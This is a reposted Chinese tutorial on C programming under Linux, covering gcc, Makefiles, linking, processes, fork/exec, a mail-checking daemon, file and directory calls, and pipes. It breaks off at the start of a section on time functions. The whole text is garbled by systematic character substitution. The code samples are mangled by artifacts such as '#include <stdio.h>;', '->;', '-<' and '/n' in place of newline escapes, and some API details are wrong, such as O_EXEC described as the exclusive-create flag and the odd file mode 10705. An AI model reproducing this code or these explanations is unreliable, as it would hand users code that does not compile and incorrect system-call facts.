linux下C编程详解

时间 2020-08-10

标签 linux 编程详解栏目 Linux 繁體版

原文原文链接

linux操做系统下 linux

c语言编程入门 c++

整理编写：007xiong
原文：Hoyt等

(一)目录介绍

1)Linux程序设计入门--基础知识
2)Linux程序设计入门--进程介绍
3)Linux程序设计入门--文件操做
4)Linux程序设计入门--时间概念
5)Linux程序设计入门--信号处理
6)Linux程序设计入门--消息管理
7)Linux程序设计入门--线程操做
8)Linux程序设计入门--网络编程
9)Linux下C开发工具介绍

(二)具体内容

1)Linux程序设计入门--基础知识
Linux下C语言编程基础知识
前言:
这篇文章介绍在LINUX下进行C语言编程所须要的基础知识.在这篇文章当中,咱们将
会学到如下内容:
源程序编译
Makefile的编写
程序库的连接
程序的调试
头文件和系统求助
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1.源程序的编译
在Linux下面,若是要编译一个C语言源程序,咱们要使用GNU的gcc编译器. 下面咱们
以一个实例来讲明如何使用gcc编译器.
假设咱们有下面一个很是简单的源程序(hello.c):
int main(int argc,char **argv)
{
printf("Hello Linux/n");
}
要编译这个程序,咱们只要在命令行下执行:
gcc -o hello hello.c
gcc 编译器就会为咱们生成一个hello的可执行文件.执行./hello就能够看到程序的输出
结果了.命令行中 gcc表示咱们是用gcc来编译咱们的源程序,-o 选项表示咱们要求编译
器给咱们输出的可执行文件名为hello 而hello.c是咱们的源程序文件.
gcc编译器有许多选项,通常来讲咱们只要知道其中的几个就够了. -o选项咱们已经知道
了,表示咱们要求输出的可执行文件名. -c选项表示咱们只要求编译器输出目标代码,而
没必要要输出可执行文件. -g选项表示咱们要求编译器在编译的时候提供咱们之后对程序
进行调试的信息.
知道了这三个选项,咱们就能够编译咱们本身所写的简单的源程序了,若是你想要知道更
多的选项,能够查看gcc的帮助文档,那里有着许多对其它选项的详细说明.
2.Makefile的编写
假设咱们有下面这样的一个程序,源代码以下:
/* main.c */
#include "mytool1.h"
#include "mytool2.h"
int main(int argc,char **argv)
{
mytool1_print("hello");
mytool2_print("hello");
}
/* mytool1.h */
#ifndef _MYTOOL_1_H
#define _MYTOOL_1_H
void mytool1_print(char *print_str);
#endif
/* mytool1.c */
#include "mytool1.h"
void mytool1_print(char *print_str)
{
printf("This is mytool1 print %s/n",print_str);
}
/* mytool2.h */
#ifndef _MYTOOL_2_H
#define _MYTOOL_2_H
void mytool2_print(char *print_str);
#endif
/* mytool2.c */
#include "mytool2.h"
void mytool2_print(char *print_str)
{
printf("This is mytool2 print %s/n",print_str);
}
固然因为这个程序是很短的咱们能够这样来编译
gcc -c main.c
gcc -c mytool1.c
gcc -c mytool2.c
gcc -o main main.o mytool1.o mytool2.o
这样的话咱们也能够产生main程序,并且也不时很麻烦.可是若是咱们考虑一下若是有一
天咱们修改了其中的一个文件(好比说mytool1.c)那么咱们难道还要从新输入上面的命令
?也许你会说,这个很容易解决啊,我写一个SHELL脚本,让她帮我去完成不就能够了.是的
对于这个程序来讲,是能够起到做用的.可是当咱们把事情想的更复杂一点,若是咱们的程
序有几百个源程序的时候,难道也要编译器从新一个一个的去编译?
为此,聪明的程序员们想出了一个很好的工具来作这件事情,这就是make.咱们只要执行以
下make,就能够把上面的问题解决掉.在咱们执行make以前,咱们要先编写一个很是重要的
文件.--Makefile.对于上面的那个程序来讲,可能的一个Makefile的文件是:
# 这是上面那个程序的Makefile文件
main:main.o mytool1.o mytool2.o
gcc -o main main.o mytool1.o mytool2.o
main.o:main.c mytool1.h mytool2.h
gcc -c main.c
mytool1.o:mytool1.c mytool1.h
gcc -c mytool1.c
mytool2.o:mytool2.c mytool2.h
gcc -c mytool2.c
有了这个Makefile文件,不过咱们何时修改了源程序当中的什么文件,咱们只要执行
make命令,咱们的编译器都只会去编译和咱们修改的文件有关的文件,其它的文件她连理
都不想去理的.
下面咱们学习Makefile是如何编写的.
在Makefile中也#开始的行都是注释行.Makefile中最重要的是描述文件的依赖关系的说
明.通常的格式是:
target: components
TAB rule
第一行表示的是依赖关系.第二行是规则.
好比说咱们上面的那个Makefile文件的第二行
main:main.o mytool1.o mytool2.o
表示咱们的目标(target)main的依赖对象(components)是main.o mytool1.o mytool2.o
当倚赖的对象在目标修改后修改的话,就要去执行规则一行所指定的命令.就象咱们的上
面那个Makefile第三行所说的同样要执行 gcc -o main main.o mytool1.o mytool2.o
注意规则一行中的TAB表示那里是一个TAB键
Makefile有三个很是有用的变量.分别是$@,$^,$<表明的意义分别是:
$@--目标文件,$^--全部的依赖文件,$<--第一个依赖文件.
若是咱们使用上面三个变量,那么咱们能够简化咱们的Makefile文件为:
# 这是简化后的Makefile
main:main.o mytool1.o mytool2.o
gcc -o $@ $^
main.o:main.c mytool1.h mytool2.h
gcc -c $<
mytool1.o:mytool1.c mytool1.h
gcc -c $<
mytool2.o:mytool2.c mytool2.h
gcc -c $<
通过简化后咱们的Makefile是简单了一点,不过人们有时候还想简单一点.这里咱们学习
一个Makefile的缺省规则
..c.o:
gcc -c $<
这个规则表示全部的 .o文件都是依赖与相应的.c文件的.例如mytool.o依赖于mytool.c
这样Makefile还能够变为:
# 这是再一次简化后的Makefile
main:main.o mytool1.o mytool2.o
gcc -o $@ $^
..c.o:
gcc -c $<
好了,咱们的Makefile 也差很少了,若是想知道更多的关于Makefile规则能够查看相应的
文档.
3.程序库的连接
试着编译下面这个程序
/* temp.c */
#include <math.h>;
int main(int argc,char **argv)
{
double value;
printf("Value:%f/n",value);
}
这个程序至关简单,可是当咱们用 gcc -o temp temp.c 编译时会出现下面所示的错误.

/tmp/cc33Kydu.o: In function `main':
/tmp/cc33Kydu.o(.text+0xe): undefined reference to `log'
collect2: ld returned 1 exit status
出现这个错误是由于编译器找不到log的具体实现.虽然咱们包括了正确的头文件,可是我
们在编译的时候仍是要链接肯定的库.在Linux下,为了使用数学函数,咱们必须和数学库
链接,为此咱们要加入 -lm 选项. gcc -o temp temp.c -lm这样才可以正确的编译.也许
有人要问,前面咱们用printf函数的时候怎么没有链接库呢?是这样的,对于一些经常使用的函
数的实现,gcc编译器会自动去链接一些经常使用库,这样咱们就没有必要本身去指定了. 有时
候咱们在编译程序的时候还要指定库的路径,这个时候咱们要用到编译器的 -L选项指定
路径.好比说咱们有一个库在 /home/hoyt/mylib下,这样咱们编译的时候还要加上 -L/h
ome/hoyt/mylib.对于一些标准库来讲,咱们没有必要指出路径.只要它们在起缺省库的路
径下就能够了.系统的缺省库的路径/lib /usr/lib /usr/local/lib 在这三个路径下面
的库,咱们能够不指定路径.
还有一个问题,有时候咱们使用了某个函数,可是咱们不知道库的名字,这个时候怎么办呢
?很抱歉,对于这个问题我也不知道答案,我只有一个傻办法.首先,我到标准库路径下面去
找看看有没有和我用的函数相关的库,我就这样找到了线程(thread)函数的库文件(libp
thread.a). 固然,若是找不到,只有一个笨方法.好比我要找sin这个函数所在的库. 就只
好用 nm -o /lib/*.so|grep sin>;~/sin 命令,而后看~/sin文件,到那里面去找了. 在s
in文件当中,我会找到这样的一行libm- 2.1.2 .so:00009fa0 W sin 这样我就知道了sin在
libm-2.1.2.so库里面,我用 -lm选项就能够了(去掉前面的lib和后面的版本标志,就剩
下m了因此是 -lm). 若是你知道怎么找,请赶快告诉我,我回很是感激的.谢谢!
4.程序的调试
咱们编写的程序不太可能一次性就会成功的,在咱们的程序当中,会出现许许多多我
们想不到的错误,这个时候咱们就要对咱们的程序进行调试了.
最经常使用的调试软件是gdb.若是你想在图形界面下调试程序,那么你如今能够选择xxgdb.记
得要在编译的时候加入 -g选项.关于gdb的使用能够看gdb的帮助文件.因为我没有用过这
个软件,因此我也不可以说出如何使用. 不过我不喜欢用gdb.跟踪一个程序是很烦的事情
,我通常用在程序当中输出中间变量的值来调试程序的.固然你能够选择本身的办法,没有
必要去学别人的.如今有了许多IDE环境,里面已经本身带了调试器了.你能够选择几个试
一试找出本身喜欢的一个用.
5.头文件和系统求助
有时候咱们只知道一个函数的大概形式,不记得确切的表达式,或者是不记得着函数
在那个头文件进行了说明.这个时候咱们能够求助系统.
好比说咱们想知道fread这个函数的确切形式,咱们只要执行 man fread 系统就会输出着
函数的详细解释的.和这个函数所在的头文件<stdio.h>;说明了. 若是咱们要write这个函
数的说明,当咱们执行man write时,输出的结果却不是咱们所须要的. 由于咱们要的是w
rite这个函数的说明,但是出来的倒是write这个命令的说明.为了获得write的函数说明
咱们要用 man 2 write. 2表示咱们用的write这个函数是系统调用函数,还有一个咱们常
用的是3表示函数是C的库函数.
记住无论何时,man都是咱们的最好助手.
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好了,这一章就讲这么多了,有了这些知识咱们就能够进入激动人心的Linux下的C程序探
险活动.

2)Linux程序设计入门--进程介绍
Linux下进程的建立
前言:
这篇文章是用来介绍在Linux下和进程相关的各个概念.咱们将会学到:
进程的概念
进程的身份
进程的建立
守护进程的建立
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1。进程的概念
Linux操做系统是面向多用户的.在同一时间能够有许多用户向操做系统发出各类命
令.那么操做系统是怎么实现多用户的环境呢? 在现代的操做系统里面,都有程序和进程
的概念.那么什么是程序,什么是进程呢? 通俗的讲程序是一个包含能够执行代码的文件
,是一个静态的文件.而进程是一个开始执行可是尚未结束的程序的实例.就是可执行文
件的具体实现. 一个程序可能有许多进程,而每个进程又能够有许多子进程.依次循环
下去,而产生子孙进程. 当程序被系统调用到内存之后,系统会给程序分配必定的资源(内
存,设备等等)而后进行一系列的复杂操做,使程序变成进程以供系统调用.在系统里面只
有进程没有程序,为了区分各个不一样的进程,系统给每个进程分配了一个ID(就象咱们的
身份证)以便识别. 为了充分的利用资源,系统还对进程区分了不一样的状态.将进程分为新
建,运行,阻塞,就绪和完成五个状态. 新建表示进程正在被建立,运行是进程正在运行,阻
塞是进程正在等待某一个事件发生,就绪是表示系统正在等待CPU来执行命令,而完成表示
进程已经结束了系统正在回收资源. 关于进程五个状态的详细解说咱们能够看《操做系
统》上面有详细的解说。
2。进程的标志
上面咱们知道了进程都有一个ID,那么咱们怎么获得进程的ID呢?系统调用getpid可
以获得进程的ID,而getppid能够获得父进程(建立调用该函数进程的进程)的ID.
#include <unistd>;
pid_t getpid(void);
pid_t getppid(void);
进程是为程序服务的,而程序是为了用户服务的.系统为了找到进程的用户名,还为进程和
用户创建联系.这个用户称为进程的全部者.相应的每个用户也有一个用户ID.经过系统
调用getuid能够获得进程的全部者的ID.因为进程要用到一些资源,而Linux对系统资源是
进行保护的,为了获取必定资源进程还有一个有效用户ID.这个ID和系统的资源使用有关
,涉及到进程的权限. 经过系统调用geteuid咱们能够获得进程的有效用户ID. 和用户ID
相对应进程还有一个组ID和有效组ID系统调用getgid和getegid能够分别获得组ID和有效
组ID
#include <unistd>;
#include <sys/types.h>;

uid_t getuid(void);
uid_t geteuid(void);
gid_t getgid(void);
git_t getegid(void);
有时候咱们还会对用户的其余信息感兴趣(登陆名等等),这个时候咱们能够调用getpwui
d来获得.
struct passwd {
char *pw_name; /* 登陆名称 */
char *pw_passwd; /* 登陆口令 */
uid_t pw_uid; /* 用户ID */
gid_t pw_gid; /* 用户组ID */
char *pw_gecos; /* 用户的真名 */
char *pw_dir; /* 用户的目录 */
char *pw_shell; /* 用户的SHELL */
};
#include <pwd.h>;
#include <sys/types.h>;

struct passwd *getpwuid(uid_t uid);
下面咱们学习一个实例来实践一下上面咱们所学习的几个函数:
#include <unistd.h>;
#include <pwd.h>;
#include <sys/types.h>;
#include <stdio.h>;
int main(int argc,char **argv)
{
pid_t my_pid,parent_pid;
uid_t my_uid,my_euid;
gid_t my_gid,my_egid;
struct passwd *my_info;
my_pid=getpid();
parent_pid=getppid();
my_uid=getuid();
my_euid=geteuid();
my_gid=getgid();
my_egid=getegid();
my_info=getpwuid(my_uid);
printf("Process ID:%ld/n",my_pid);
printf("Parent ID:%ld/n",parent_pid);
printf("User ID:%ld/n",my_uid);
printf("Effective User ID:%ld/n",my_euid);
printf("Group ID:%ld/n",my_gid);
printf("Effective Group ID:%ld/n",my_egid):
if(my_info)
{
printf("My Login Name:%s/n" ,my_info->;pw_name);
printf("My Password :%s/n" ,my_info->;pw_passwd);
printf("My User ID :%ld/n",my_info->;pw_uid);
printf("My Group ID :%ld/n",my_info->;pw_gid);
printf("My Real Name:%s/n" ,my_info->;pw_gecos);
printf("My Home Dir :%s/n", my_info->;pw_dir);
printf("My Work Shell:%s/n", my_info->;pw_shell);
}
}
3。进程的建立
建立一个进程的系统调用很简单.咱们只要调用fork函数就能够了.
#include <unistd.h>;

pid_t fork();
当一个进程调用了fork之后,系统会建立一个子进程.这个子进程和父进程不一样的地方只
有他的进程ID和父进程ID,其余的都是同样.就象符进程克隆(clone)本身同样.固然建立
两个如出一辙的进程是没有意义的.为了区分父进程和子进程,咱们必须跟踪fork的返回
值. 当fork掉用失败的时候(内存不足或者是用户的最大进程数已到)fork返回-1,不然f
ork的返回值有重要的做用.对于父进程fork返回子进程的ID,而对于fork子进程返回0.我
们就是根据这个返回值来区分父子进程的. 父进程为何要建立子进程呢?前面咱们已经
说过了Linux是一个多用户操做系统,在同一时间会有许多的用户在争夺系统的资源.有时
进程为了早一点完成任务就建立子进程来争夺资源. 一旦子进程被建立,父子进程一块儿从
fork处继续执行,相互竞争系统的资源.有时候咱们但愿子进程继续执行,而父进程阻塞直
到子进程完成任务.这个时候咱们能够调用wait或者waitpid系统调用.
#include <sys/types.h>;
#include <sys/wait.h>;

pid_t wait(int *stat_loc);
pid_t waitpid(pid_t pid,int *stat_loc,int options);
wait系统调用会使父进程阻塞直到一个子进程结束或者是父进程接受到了一个信号.若是
没有父进程没有子进程或者他的子进程已经结束了wait回当即返回.成功时(因一个子进
程结束)wait将返回子进程的ID,不然返回-1,并设置全局变量errno.stat_loc是子进程的
退出状态.子进程调用exit,_exit 或者是return来设置这个值. 为了获得这个值Linux定
义了几个宏来测试这个返回值.
WIFEXITED:判断子进程退出值是非0
WEXITSTATUS:判断子进程的退出值(当子进程退出时非0).
WIFSIGNALED:子进程因为有没有得到的信号而退出.
WTERMSIG:子进程没有得到的信号号(在WIFSIGNALED为真时才有意义).
waitpid等待指定的子进程直到子进程返回.若是pid为正值则等待指定的进程(pid).若是
为0则等待任何一个组ID和调用者的组ID相同的进程.为-1时等同于wait调用.小于-1时等
待任何一个组ID等于pid绝对值的进程. stat_loc和wait的意义同样. options能够决定
父进程的状态.能够取两个值 WNOHANG:父进程当即返回当没有子进程存在时. WUNTACHE
D:当子进程结束时waitpid返回,可是子进程的退出状态不可获得.
父进程建立子进程后,子进程通常要执行不一样的程序.为了调用系统程序,咱们能够使用系
统调用exec族调用.exec族调用有着5个函数.
#include <unistd.h>;
int execl(const char *path,const char *arg,...);
int execlp(const char *file,const char *arg,...);
int execle(const char *path,const char *arg,...);
int execv(const char *path,char *const argv[]);
int execvp(const char *file,char *const argv[]):
exec族调用能够执行给定程序.关于exec族调用的详细解说能够参考系统手册(man exec
l). 下面咱们来学习一个实例.注意编译的时候要加 -lm以便链接数学函数库.
#include <unistd.h>;
#include <sys/types.h>;
#include <sys/wait.h>;
#include <stdio.h>;
#include <errno.h>;
#include <math.h>;
void main(void)
{
pid_t child;
int status;
printf("This will demostrate how to get child status/n");
if((child=fork())==-1)
{
printf("Fork Error :%s/n",strerror(errno));
exit(1);
}
else if(child==0)
{
int i;
printf("I am the child:%ld/n",getpid());
for(i=0;i<1000000;i++) sin(i);
i=5;
printf("I exit with %d/n",i);
exit(i);
}
while(((child=wait(&status))==-1)&(errno==EINTR));
if(child==-1)
printf("Wait Error:%s/n",strerror(errno));
else if(!status)
printf("Child %ld terminated normally return status is zero/n",
child);
else if(WIFEXITED(status))
printf("Child %ld terminated normally return status is %d/n",
child,WEXITSTATUS(status));
else if(WIFSIGNALED(status))
printf("Child %ld terminated due to signal %d znot caught/n",
child,WTERMSIG(status));
}
strerror函数会返回一个指定的错误号的错误信息的字符串.
4。守护进程的建立
若是你在DOS时代编写过程序,那么你也许知道在DOS下为了编写一个常驻内存的程序
咱们要编写多少代码了.相反若是在Linux下编写一个"常驻内存"的程序倒是很容易的.我
们只要几行代码就能够作到. 实际上因为Linux是多任务操做系统,咱们就是不编写代码
也能够把一个程序放到后台去执行的.咱们只要在命令后面加上&符号SHELL就会把咱们的
程序放到后台去运行的. 这里咱们"开发"一个后台检查邮件的程序.这个程序每一个一个指
定的时间回去检查咱们的邮箱,若是发现咱们有邮件了,会不断的报警(经过机箱上的小喇
叭来发出声音). 后面有这个函数的增强版本增强版本
后台进程的建立思想: 首先父进程建立一个子进程.而后子进程杀死父进程(是否是很无
情?). 信号处理全部的工做由子进程来处理.
#include <unistd.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#include <stdio.h>;
#include <errno.h>;
#include <fcntl.h>;
#include <signal.h>;
/* Linux 的默任我的的邮箱地址是 /var/spool/mail/用户的登陆名 */
#define MAIL "/var/spool/mail/hoyt"
/* 睡眠10秒钟 */

#define SLEEP_TIME 10
main(void)
{
pid_t child;
if((child=fork())==-1)
{
printf("Fork Error:%s/n",strerror(errno));
exit(1);
}
else if(child>;0)
while(1);
if(kill(getppid(),SIGTERM)==-1)
{
printf("Kill Parent Error:%s/n",strerror(errno));
exit(1);
}
{
int mailfd;
while(1)
{
if((mailfd=open(MAIL,O_RDONLY))!=-1)
{
fprintf(stderr,"%s","/007");
close(mailfd);
}
sleep(SLEEP_TIME);
}
}
}
你能够在默认的路径下建立你的邮箱文件,而后测试一下这个程序.固然这个程序还有很
多地方要改善的.咱们后面会对这个小程序改善的,再看个人改善以前你能够尝试本身改
善一下.好比让用户指定邮相的路径和睡眠时间等等.相信本身能够作到的.动手吧,勇敢
的探险者.
好了进程一节的内容咱们就先学到这里了.进程是一个很是重要的概念,许多的程序都会
用子进程.建立一个子进程是每个程序员的基本要求!

3)Linux程序设计入门--文件操做
Linux下文件的操做
前言:
咱们在这一节将要讨论linux下文件操做的各个函数.
文件的建立和读写
文件的各个属性
目录文件的操做
管道文件
----------------------------------------------------------------------------
----
1。文件的建立和读写
我假设你已经知道了标准级的文件操做的各个函数(fopen,fread,fwrite等等).固然
若是你不清楚的话也不要着急.咱们讨论的系统级的文件操做其实是为标准级文件操做
服务的.
当咱们须要打开一个文件进行读写操做的时候,咱们能够使用系统调用函数open.使用完
成之后咱们调用另一个close函数进行关闭操做.
#include <fcntl.h>;
#include <unistd.h>;
#include <sys/types.h>;
#include <sys/stat.h>;

int open(const char *pathname,int flags);
int open(const char *pathname,int flags,mode_t mode);
int close(int fd);
open函数有两个形式.其中pathname是咱们要打开的文件名(包含路径名称,缺省是认为在
当前路径下面).flags能够去下面的一个值或者是几个值的组合.
O_RDONLY:以只读的方式打开文件.
O_WRONLY:以只写的方式打开文件.
O_RDWR:以读写的方式打开文件.
O_APPEND:以追加的方式打开文件.
O_CREAT:建立一个文件.
O_EXEC:若是使用了O_CREAT并且文件已经存在,就会发生一个错误.
O_NOBLOCK:以非阻塞的方式打开一个文件.
O_TRUNC:若是文件已经存在,则删除文件的内容.
前面三个标志只能使用任意的一个.若是使用了O_CREATE标志,那么咱们要使用open的第
二种形式.还要指定mode标志,用来表示文件的访问权限.mode能够是如下状况的组合.
-----------------------------------------------------------------
S_IRUSR 用户能够读 S_IWUSR 用户能够写
S_IXUSR 用户能够执行 S_IRWXU 用户能够读写执行
-----------------------------------------------------------------
S_IRGRP 组能够读 S_IWGRP 组能够写
S_IXGRP 组能够执行 S_IRWXG 组能够读写执行
-----------------------------------------------------------------
S_IROTH 其余人能够读 S_IWOTH 其余人能够写
S_IXOTH 其余人能够执行 S_IRWXO 其余人能够读写执行
-----------------------------------------------------------------
S_ISUID 设置用户执行ID S_ISGID 设置组的执行ID
-----------------------------------------------------------------
咱们也能够用数字来表明各个位的标志.Linux总共用5个数字来表示文件的各类权限.
00000.第一位表示设置用户ID.第二位表示设置组ID,第三位表示用户本身的权限位,第四
位表示组的权限,最后一位表示其余人的权限.
每一个数字能够取1(执行权限),2(写权限),4(读权限),0(什么也没有)或者是这几个值的和
..
好比咱们要建立一个用户读写执行,组没有权限,其余人读执行的文件.设置用户ID位那么
咱们能够使用的模式是--1(设置用户ID)0(组没有设置)7(1+2+4)0(没有权限,使用缺省)
5(1+4)即10705:
open("temp",O_CREAT,10705);
若是咱们打开文件成功,open会返回一个文件描述符.咱们之后对文件的全部操做就能够
对这个文件描述符进行操做了.
当咱们操做完成之后,咱们要关闭文件了,只要调用close就能够了,其中fd是咱们要关闭
的文件描述符.
文件打开了之后,咱们就要对文件进行读写了.咱们能够调用函数read和write进行文件的
读写.
#include <unistd.h>;
ssize_t read(int fd, void *buffer,size_t count);
ssize_t write(int fd, const void *buffer,size_t count);
fd是咱们要进行读写操做的文件描述符,buffer是咱们要写入文件内容或读出文件内容的
内存地址.count是咱们要读写的字节数.
对于普通的文件read从指定的文件(fd)中读取count字节到buffer缓冲区中(记住咱们必
须提供一个足够大的缓冲区),同时返回count.
若是read读到了文件的结尾或者被一个信号所中断,返回值会小于count.若是是由信号中
断引发返回,并且没有返回数据,read会返回-1,且设置errno为EINTR.当程序读到了文件
结尾的时候,read会返回0.
write从buffer中写count字节到文件fd中,成功时返回实际所写的字节数.
下面咱们学习一个实例,这个实例用来拷贝文件.
#include <unistd.h>;
#include <fcntl.h>;
#include <stdio.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#include <errno.h>;
#include <string.h>;
#define BUFFER_SIZE 1024
int main(int argc,char **argv)
{
int from_fd,to_fd;
int bytes_read,bytes_write;
char buffer[BUFFER_SIZE];
char *ptr;
if(argc!=3)
{
fprintf(stderr,"Usage:%s fromfile tofile/n/a",argv[0]);
exit(1);
}
/* 打开源文件 */
if((from_fd=open(argv[1],O_RDONLY))==-1)
{
fprintf(stderr,"Open %s Error:%s/n",argv[1],strerror(errno));
exit(1);
}
/* 建立目的文件 */
if((to_fd=open(argv[2],O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))==-1)
{
fprintf(stderr,"Open %s Error:%s/n",argv[2],strerror(errno));
exit(1);
}
/* 如下代码是一个经典的拷贝文件的代码 */
while(bytes_read=read(from_fd,buffer,BUFFER_SIZE))
{
/* 一个致命的错误发生了 */
if((bytes_read==-1)&&(errno!=EINTR)) break;
else if(bytes_read>;0)
{
ptr=buffer;
while(bytes_write=write(to_fd,ptr,bytes_read))
{
/* 一个致命错误发生了 */
if((bytes_write==-1)&&(errno!=EINTR))break;
/* 写完了全部读的字节 */
else if(bytes_write==bytes_read) break;
/* 只写了一部分,继续写 */
else if(bytes_write>;0)
{
ptr+=bytes_write;
bytes_read-=bytes_write;
}
}
/* 写的时候发生的致命错误 */
if(bytes_write==-1)break;
}
}
close(from_fd);
close(to_fd);
exit(0);
}
2。文件的各个属性
文件具备各类各样的属性,除了咱们上面所知道的文件权限之外,文件还有建立时间
,大小等等属性.
有时侯咱们要判断文件是否能够进行某种操做(读,写等等).这个时候咱们能够使用acce
ss函数.
#include <unistd.h>;

int access(const char *pathname,int mode);
pathname:是文件名称,mode是咱们要判断的属性.能够取如下值或者是他们的组合.
R_OK文件能够读,W_OK文件能够写,X_OK文件能够执行,F_OK文件存在.当咱们测试成功时
,函数返回0,不然若是有一个条件不符时,返回-1.
若是咱们要得到文件的其余属性,咱们能够使用函数stat或者fstat.
#include <sys/stat.h>;
#include <unistd.h>;
int stat(const char *file_name,struct stat *buf);
int fstat(int filedes,struct stat *buf);
struct stat {
dev_t st_dev; /* 设备 */
ino_t st_ino; /* 节点 */
mode_t st_mode; /* 模式 */
nlink_t st_nlink; /* 硬链接 */
uid_t st_uid; /* 用户ID */
gid_t st_gid; /* 组ID */
dev_t st_rdev; /* 设备类型 */
off_t st_off; /* 文件字节数 */
unsigned long st_blksize; /* 块大小 */
unsigned long st_blocks; /* 块数 */
time_t st_atime; /* 最后一次访问时间 */
time_t st_mtime; /* 最后一次修改时间 */
time_t st_ctime; /* 最后一次改变时间(指属性) */
};
stat用来判断没有打开的文件,而fstat用来判断打开的文件.咱们使用最多的属性是st_
mode.经过着属性咱们能够判断给定的文件是一个普通文件仍是一个目录,链接等等.能够
使用下面几个宏来判断.
S_ISLNK(st_mode):是不是一个链接.S_ISREG是不是一个常规文件.S_ISDIR是不是一个目
录S_ISCHR是不是一个字符设备.S_ISBLK是不是一个块设备S_ISFIFO是否是一个FIFO文
件.S_ISSOCK是不是一个SOCKET文件. 咱们会在下面说明如何使用这几个宏的.
3。目录文件的操做
在咱们编写程序的时候，有时候会要获得咱们当前的工做路径。C库函数提供了get
cwd来解决这个问题。
#include <unistd.h>;

char *getcwd(char *buffer,size_t size);
咱们提供一个size大小的buffer,getcwd会把咱们当前的路径考到buffer中.若是buffer
过小,函数会返回-1和一个错误号.
Linux提供了大量的目录操做函数,咱们学习几个比较简单和经常使用的函数.
#include <dirent.h>;
#include <unistd.h>;
#include <fcntl.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
int mkdir(const char *path,mode_t mode);
DIR *opendir(const char *path);
struct dirent *readdir(DIR *dir);
void rewinddir(DIR *dir);
off_t telldir(DIR *dir);
void seekdir(DIR *dir,off_t off);
int closedir(DIR *dir);
struct dirent {
long d_ino;
off_t d_off;
unsigned short d_reclen;
char d_name[NAME_MAX+1]; /* 文件名称 */
mkdir很容易就是咱们建立一个目录,opendir打开一个目录为之后读作准备.readdir读一
个打开的目录.rewinddir是用来重读目录的和咱们学的rewind函数同样.closedir是关闭
一个目录.telldir和seekdir相似与ftee和fseek函数.
下面咱们开发一个小程序,这个程序有一个参数.若是这个参数是一个文件名,咱们输出这
个文件的大小和最后修改的时间,若是是一个目录咱们输出这个目录下全部文件的大小和
修改时间.
#include <unistd.h>;
#include <stdio.h>;
#include <errno.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#include <dirent.h>;
#include <time.h>;
static int get_file_size_time(const char *filename)
{
struct stat statbuf;
if(stat(filename,&statbuf)==-1)
{
printf("Get stat on %s Error:%s/n",
filename,strerror(errno));
return(-1);
}
if(S_ISDIR(statbuf.st_mode))return(1);
if(S_ISREG(statbuf.st_mode))
printf("%s size:%ld bytes/tmodified at %s",
filename,statbuf.st_size,ctime(&statbuf.st_mtime));

return(0);
}
int main(int argc,char **argv)
{
DIR *dirp;
struct dirent *direntp;
int stats;
if(argc!=2)
{
printf("Usage:%s filename/n/a",argv[0]);
exit(1);
}
if(((stats=get_file_size_time(argv[1]))==0)||(stats==-1))exit(1);
if((dirp=opendir(argv[1]))==NULL)
{
printf("Open Directory %s Error:%s/n",
argv[1],strerror(errno));
exit(1);
}
while((direntp=readdir(dirp))!=NULL)
if(get_file_size_time(direntp-<d_name)==-1)break;
closedir(dirp);
exit(1);
}
4。管道文件
Linux提供了许多的过滤和重定向程序,好比more cat
等等.还提供了< >; | <<等等重定向操做符.在这些过滤和重定向程序当中,都用到了管
道这种特殊的文件.系统调用pipe能够建立一个管道.
#include<unistd.h>;

int pipe(int fildes[2]);
pipe调用能够建立一个管道(通讯缓冲区).当调用成功时,咱们能够访问文件描述符fild
es[0],fildes[1].其中fildes[0]是用来读的文件描述符,而fildes[1]是用来写的文件描
述符.
在实际使用中咱们是经过建立一个子进程,而后一个进程写,一个进程读来使用的.
关于进程通讯的详细状况请查看进程通讯
#include <stdio.h>;
#include <stdlib.h>;
#include <unistd.h>;
#include <string.h>;
#include <errno.h>;
#include <sys/types.h>;
#include <sys/wait.h>;
#define BUFFER 255
int main(int argc,char **argv)
{
char buffer[BUFFER+1];
int fd[2];
if(argc!=2)
{
fprintf(stderr,"Usage:%s string/n/a",argv[0]);
exit(1);
}
if(pipe(fd)!=0)
{
fprintf(stderr,"Pipe Error:%s/n/a",strerror(errno));
exit(1);
}
if(fork()==0)
{
close(fd[0]);
printf("Child[%d] Write to pipe/n/a",getpid());
snprintf(buffer,BUFFER,"%s",argv[1]);
write(fd[1],buffer,strlen(buffer));
printf("Child[%d] Quit/n/a",getpid());
exit(0);
}
else
{
close(fd[1]);
printf("Parent[%d] Read from pipe/n/a",getpid());
memset(buffer,'/0',BUFFER+1);
read(fd[0],buffer,BUFFER);
printf("Parent[%d] Read:%s/n",getpid(),buffer);
exit(1);
}
}
为了实现重定向操做,咱们须要调用另一个函数dup2.
#include <unistd.h>;

int dup2(int oldfd,int newfd);
dup2将用oldfd文件描述符来代替newfd文件描述符,同时关闭newfd文件描述符.也就是说
,
全部向newfd操做都转到oldfd上面.下面咱们学习一个例子,这个例子将标准输出重定向
到一个文件.
#include <unistd.h>;
#include <stdio.h>;
#include <errno.h>;
#include <fcntl.h>;
#include <string.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#define BUFFER_SIZE 1024
int main(int argc,char **argv)
{
int fd;
char buffer[BUFFER_SIZE];
if(argc!=2)
{
fprintf(stderr,"Usage:%s outfilename/n/a",argv[0]);
exit(1);
}
if((fd=open(argv[1],O_WRONLY|O_CREAT|O_TRUNC,S_IRUSR|S_IWUSR))==-1)
{
fprintf(stderr,"Open %s Error:%s/n/a",argv[1],strerror(errno));
exit(1);
}
if(dup2(fd,STDOUT_FILENO)==-1)
{
fprintf(stderr,"Redirect Standard Out Error:%s/n/a",strerror(errno));
exit(1);
}
fprintf(stderr,"Now,please input string");
fprintf(stderr,"(To quit use CTRL+D)/n");
while(1)
{
fgets(buffer,BUFFER_SIZE,stdin);
if(feof(stdin))break;
write(STDOUT_FILENO,buffer,strlen(buffer));
}
exit(0);
}
好了,文件一章咱们就暂时先讨论到这里,学习好了文件的操做咱们其实已经能够写出一
些比较有用的程序了.咱们能够编写一个实现例如dir,mkdir,cp,mv等等经常使用的文件操做
命令了.
想不想本身写几个试一试呢?

4)程序设计入门--时间概念
前言:Linux下的时间概念
这一章咱们学习Linux的时间表示和计算函数
时间的表示
时间的测量
计时器的使用
1。时间表示在程序当中,咱们常常要输出系统当前的时间,好比咱们使用date命令
的输出结果.这个时候咱们能够使用下面两个函数
#include <time.h>;

time_t time(time_t *tloc);
